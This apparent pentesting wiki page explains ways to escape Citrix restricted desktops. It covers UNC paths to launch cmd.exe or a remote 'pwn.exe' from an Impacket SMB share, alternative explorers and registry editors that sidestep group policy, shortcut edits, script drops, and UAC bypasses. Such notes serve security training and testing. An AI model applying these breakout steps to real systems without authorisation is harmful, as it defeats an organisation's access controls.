> For the complete documentation index, see [llms.txt](https://breakpoint-journal.gitbook.io/breakpoint/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://breakpoint-journal.gitbook.io/breakpoint/windows/windows-privilege-escalation/citrix-breakout.md).
# Citrix Breakout
Citrix is a remote desktop application often used in companies to provide a *safe* desktop by restricting access to various external and internal applications. There are, of course, numerous ways in which one can break out of these imposed restrictions.
## UNC Paths & File Explorer
A basic instance is utilizing [UNC](https://learn.microsoft.com/en-us/dotnet/standard/io/file-path-formats#unc-paths) paths to bypass file path restrictions. For example, Citrix may restrict acess to `C:\Windows\System32` so that we cannot start `cmd.exe`. We can utilize the following UNC syntax samples below in order to access the local file system, or even an SMB share available on the network.
{% code title="Sample UNC File Paths" %}
```
\\127.0.0.1\c$\windows\system32\cmd.exe
\\10.10.15.245\share\pwn.exe
```
{% endcode %}
**What if the File Explorer is locked down?** No worries, we can utilize other applications like mspaint to open or save a file, gaining access to a File Explorer prompt. We can then attempt to open the files presented above.
For context, in order to start an SMB share using Impacket, we can execute the following command:
{% code title="Starting an SMB share, 'share', locally in the current working directory" %}
```bash
smbserver.py -smb2support share $(pwd)
```
{% endcode %}
### Alternative File Explorers
`Q-Dir` or `Explorer++` can be employed as a workaround. These tools can bypass the folder restrictions enforced by group policy, allowing users to navigate and access files and directories that would otherwise be restricted within the standard File Explorer environment.
### Alternative Registry Editors
Similarly when the default Registry Editor is blocked by group policy, alternative Registry editors can be employed to bypass the standard group policy restrictions. [Simpleregedit](https://sourceforge.net/projects/simpregedit/), [Uberregedit](https://sourceforge.net/projects/uberregedit/) and [SmallRegistryEditor](https://sourceforge.net/projects/sre/) are examples of such GUI tools that facilitate editing the Windows registry without being affected by the blocking imposed by group policy. These tools offer a practical and effective solution for managing registry settings in such restricted environments.
## Shortcuts
Unauthorized access to folder paths can also be achieved by modifying existing Windows shortcuts and setting a desired executable's path in the `Target` field.
## Dangerous File Types
When script extensions such as `.bat`, `.vbs`, or `.ps` are configured to automatically execute their code using their respective interpreters, it opens the possibility of dropping a script that can serve as an interactive console or facilitate the download and launch of various third-party applications which results into bypass of restrictions in place.
## UAC Bypasses
Suppose you're able to gain administrator-level access, you'll likely need a UAC bypass in order to produce a `cmd` prompt with elevated privileges. Please see the [#uac-bypasses](#uac-bypasses "mention")page for more information.
## Resources
* [Citrix Breakout: HackTheBox Windows Privilege Escalation File Transfer Walkthrough](https://medium.com/@jorgepatrickrubio/citrix-breakout-hackthebox-windows-privilege-escalation-file-transfer-walkthrough-12d5cf8b3651)
